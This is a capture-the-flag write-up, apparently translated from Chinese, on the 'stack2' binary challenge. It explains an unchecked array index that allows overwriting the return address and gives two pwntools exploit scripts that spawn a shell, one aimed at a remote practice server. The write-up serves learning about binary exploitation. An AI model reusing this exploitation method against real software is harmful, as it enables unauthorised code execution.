Advanced area of attack and defense world experts - stack2
Look at the title, nothing
1, Analysis file
-
checksec
It is found that there is stack overflow protection, which has not been seen before. There may be new knowledge points.
-
Run file
It seems to be a program for inputting numbers to calculate the average value.
-
ida open
unsigned int m; // [esp+34h] [ebp-74h] char v13[100]; // [esp+38h] [ebp-70h] unsigned int v14; // [esp+9Ch] [ebp-Ch] v14 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); v9 = 0; puts("***********************************************************"); puts("* An easy calc *"); puts("*Give me your numbers and I will return to you an average *"); puts("*(0 <= x < 256) *"); puts("***********************************************************"); puts("How many numbers you have:"); // How many numbers are there scanf("%d", &v5); puts("Give me your numbers"); // Enter a number for ( i = 0; i < v5 && (int)i <= 99; ++i ) { scanf("%d", &v7); v13[i] = v7; } for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");// choice scanf("%d", &v6); // Input selection if ( v6 != 2 ) break; puts("Give me your number"); // Add number scanf("%d", &v7); if ( j <= 99 ) { v3 = j++; v13[v3] = v7; } } if ( v6 > 2 ) break; if ( v6 != 1 ) return 0; puts("id\t\tnumber"); for ( k = 0; k < j; ++k ) printf("%d\t\t%d\n", k, v13[k]); } if ( v6 != 3 ) break; puts("which number to change:"); // Modify the number, there is a loophole!!! Without checking the value of the index value or the array boundary, you can enter the offset of the return address relative to the first address of the array scanf("%d", &v5); puts("new number:"); // Change the return address to the system function address and bash address scanf("%d", &v7); v13[v5] = v7; } if ( v6 != 4 ) break; v9 = 0; for ( m = 0; m < j; ++m ) v9 += v13[m]; } return 0; }
After analyzing the file, I didn't see anything at first. Later, I learned about this vulnerability by looking at the wp of other big men on the Internet (the array boundary was not checked, resulting in arbitrary address modification. Is this the way to bypass stack overflow protection?)
2, Problem solving ideas
-
The key to solving the problem is here. Without checking the index value of the array, we can modify the content of any address. We can directly modify the content of the return address of the function.
-
Now you just need to find the offset relative to the return address of the array function.
I think this is the most difficult step. I saw it for several wp before I understood what was going on.
-
Here, according to the previous practice, it is problematic to find the offset of the return address relative to the array directly in ida.
The offset I calculated here is 0x74, but according to the offset calculated by other leaders through dynamic debugging, the offset here should be 0x84.
What's going on?
0x84 dynamic debugging by yourself
The process is as follows:
- Analysis assembly code
This assembly code actually corresponds to the following C language code
The complexity of assembly can also be further seen here.
Analyze the assembly code. Put the obtained value into the stack area through scanf, then put the number into the eax register, then put the eax value into the ecx register, then take an address of the stack area to edx, and give a value to eax (by analyzing the above assembly, we can know that the value put into eax here is the index value of the array), and then add the address to the eax register, Finally, assign the value of cl (the lower eight bits of ecx register) to the address pointed to by eax.
Through the analysis here, we can know that the address stored in eax is the starting address of the array.
Through the main endp here, you can know that this is the end of the main function. You can conclude that the address pointed to by esp during retn here is the return address.
The breakpoint is set in the main function and where the input array and retn instruction are returned.
Enter all and fill in one
run, this is 0xd0 before the instruction is executed,
After the instruction is executed, this is 0x1, so oxffffd378 here is the starting address of the array. 0xf7ffd901 here doesn't mean anything, but it just happens that this address is stored in the starting address of the array. I've been wondering here for a long time because gdb is not very skilled. A chicken with vegetables.
Run to ret, and the return address is stored in esp.
So the offset is 0xffffd3fc - oxffffd378 = 0x84
The offset can be obtained here.
- And there is a backdoor function hackhere in the program
The shell can be obtained directly through the back door function.
3, exp
from pwn import * process_name = './stack2' p = process('./stack2') hackhere = [0x9b, 0x85, 0x04, 0x08] #0x0804859B write_offset = 0x84 def change_number(offset, value): p.sendlineafter('5. exit', '3') p.sendlineafter('which number to change:', str(offset)) p.sendlineafter('new number:', str(value)) p.sendlineafter('How many numbers you have:', '1') p.sendlineafter('Give me your numbers', '1') for i in range(4): change_number(write_offset+i, hackhere[i]) p.sendlineafter('5. exit', '5') p.interactive()
Take this exp to run locally and find that it can run successfully, but there is a problem when running on the server.
An error is reported. It is found that the server has no bash terminal, only sh. (later, I learned that it was originally the fault of the author. I found that I could do it, but I didn't change it.)
- So we have to change our thinking and find that the program has the system function, and we can also find the sh string.
- You can construct exp through sh and system
from pwn import * process_name = './stack2' p = process('./stack2') p = remote('111.200.241.244',60740) hackhere = [0x9b, 0x85, 0x04, 0x08] #0x0804859B write_offset = 0x84 system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450 sh_addr = [0x87, 0x99, 0x04, 0x08] # 0x08048987 def change_number(offset, value): p.sendlineafter('5. exit', '3') p.sendlineafter('which number to change:', str(offset)) p.sendlineafter('new number:', str(value)) p.sendlineafter('How many numbers you have:', '1') p.sendlineafter('Give me your numbers', '1') for i in range(4): change_number(write_offset+i, system_addr[i]) write_offset += 8 for i in range(4): change_number(write_offset+i, sh_addr[i]) p.sendlineafter('5. exit', '5') p.interactive()
In this way, you can pass through the server.
4, Harvest
- Learned a new vulnerability (bypassing stack overflow protection).
- Learn more about python programming.
- Learned to use gdb.
- Learned basic assembly language.
On the whole, I gained a lot from doing the topic this time. Although it was difficult for me for several days. But the harvest is not lost slowly. Ha ha ha